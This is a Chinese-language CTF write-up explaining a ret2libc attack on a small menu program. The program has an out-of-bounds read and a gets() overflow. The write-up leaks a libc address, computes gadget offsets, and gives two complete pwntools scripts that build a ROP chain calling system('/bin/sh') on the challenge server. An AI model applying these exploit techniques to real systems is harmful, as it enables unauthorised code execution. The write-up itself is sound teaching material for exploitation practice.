# ret2libc(b33f adv_pwn)

> Author: 堇姬Naup

## 一些工具

sudo docker-compose  up -d
sudo docker  exec -it  2e8beb8e16d5   /bin/sh 
ldd <binary>
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/libc.so.6 .
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

找libc offset
libc_leak-libc_base(vmmap)=offset

libc offset:
https://libc.blukat.me/
https://github.com/scwuaptx/Pwngdb

version:

Ubuntu 16.04: Glibc 2.23
Ubuntu 18.04: Glibc 2.27
Ubuntu 20.04: Glibc 2.31
Ubuntu 22.04: Glibc 2.35

## What is ret2libc
- 倘若能得知 library 被 map 到的隨機起始地址 (base address)，則可以計算出 libc 中 function 的位置，便能調⽤ library 中的函式。
- 關鍵為 bypass ASLR，找出 libc 的隨機 base
- 透過 information leak 漏洞，洩漏 memory 上的內容，獲取屬於 libcsegment 的 address
- 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同)


## libc base
通常開頭`7f`，結尾`e80`

## 題目

### 知道libc
他說他Dockerfile裡面用Ubuntu 22.04
所以libc版本是2.35

### checksec


### source code分析

#include <stdio.h>

int main() {
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  char buf[0x20];
  long long nums[10];
  puts("My little database (Under construction)");
  while (1) {
    puts("1. Change number");
    puts("2. See the number");
    puts("3. Exit");
    int choice = 0;
    int idx = 0;

    scanf("%d", &choice);
    switch (choice) {
      case 1:
        puts("Enter the index (0-9):");
        scanf("%d", &idx);
        if (idx >= 0 && idx < 10) {
          puts("Enter the number:");
          scanf("%lld", &nums[idx]);
        } else {
          puts("Invalid index!");
        }
        break;
      case 2:
        puts("Enter the index (0-9):");
        scanf("%d", &idx);
        printf("The number is %lld\n", nums[idx]);
        break;
      case 3:
        puts("Bye!");
        goto end;
      default:
        puts("Invalid choice!");
        break;
    }
  }
end:
  puts(
      "Since it's under development, please leave your feedback before you "
      "go!");
  getchar();
  gets(buf);
  return 0;
}    

### 開始解
首先因為有ASLR，所以要找出libc base

case 2:
        puts("Enter the index (0-9):");
        scanf("%d", &idx);
        printf("The number is %lld\n", nums[idx]);

這裡有oob(簡單來說就是沒有對index檢查，arr[i] (int)
= *(arr + i *sizeof(int))，輸入不在範圍的可以leak 任何記憶體)
嘗試輸入幾次後可以發現15會leak一個libc adress
接著用libc base扣掉他找offset
libc leak:

libc base:

>>> hex(0x7ffff7c29d90-0x7ffff7c00000)
'0x29d90'

找出offset
找libc裡面的/bin/sh

strings -a -t x <path to libc> | grep /bin/sh


接下來要堆ROP(用libc裡面的，全部都要+libc base)
|目標|地址|
|---|---|
|pop rdi ; ret|0x2a3e5|
|/bin/sh|0x1d8678|
|ret|0x2a3e5+0x1|
|system|0x50d70|


stack

AAAA...(0x20+0x8)
pop rdi(libc)
/bin/sh(libc)
ret(libc)
system(libc)

### script

from pwn import *

context.arch='amd64'

a=input('open debug?(y/n)')
if a=='y':

        context.log_level = 'debug'
        context.terminal = ['tmux', 'splitw', '-h']

b=input("local?(y/n)")
if b=='y':
        r=process("./chal")
else:
        r=remote("chall.nckuctf.org", 10009)


r.sendline(b"2")
r.sendline(b"15")
r.recvuntil(b"The number is ")
LEAK_LIBC=int(r.recv(15).decode())

OFFSET=0x29d90

print("LEAK-LIBC: ",hex(LEAK_LIBC))
LIBC_BASE=LEAK_LIBC-OFFSET
print("LIBC_BASE",hex(LIBC_BASE))


ROP_libc={
          "pop_rdi":0x2a3e5+LIBC_BASE,
          "binsh":0x1d8678+LIBC_BASE,
          "SYSTEM":0x50d70+LIBC_BASE,
          "ret":0x2a3e5+LIBC_BASE+0x1
}

ROP_payload=flat(b"A"*(0x20+0x8),ROP_libc['pop_rdi'],ROP_libc['binsh'],ROP_libc['ret'],ROP_libc['SYSTEM'])
r.sendline(b"3")
r.sendlineafter(b"go!",ROP_payload)

r.interactive()

### 感謝
感謝國外隊友Tomer大老幫我釐清問題
順便附上他的解法

from pwn import *

libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc)
rop_libc = ROP(libc)

SYSTEM_LIBC_OFFSET = libc.symbols["system"]

BIN_SH = next(libc.search(b'/bin/sh'))
RET_RDI = rop_libc.rdi.address
RETN = rop_libc.retn.address

DISTANCE_FROM_LIBC_BASE = 0x29D90

# con = process("./chal")
con = remote("chall.nckuctf.org", 10009)

con.writeline(b"2")
con.writeline(b"15")
con.readuntil(b"The number is ")
leak = int(con.readline()[:-1])
libc_base = leak - DISTANCE_FROM_LIBC_BASE

con.writeline(b"3")
payload = cyclic(40)
payload += p64(libc_base + RET_RDI)
payload += p64(libc_base + BIN_SH)
payload += p64(libc_base + RETN)
payload += p64(libc_base + SYSTEM_LIBC_OFFSET)
con.writeline(payload)

con.interactive()

## 一些資料

https://hackmd.io/@u1f383/S1CNu-1SO
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc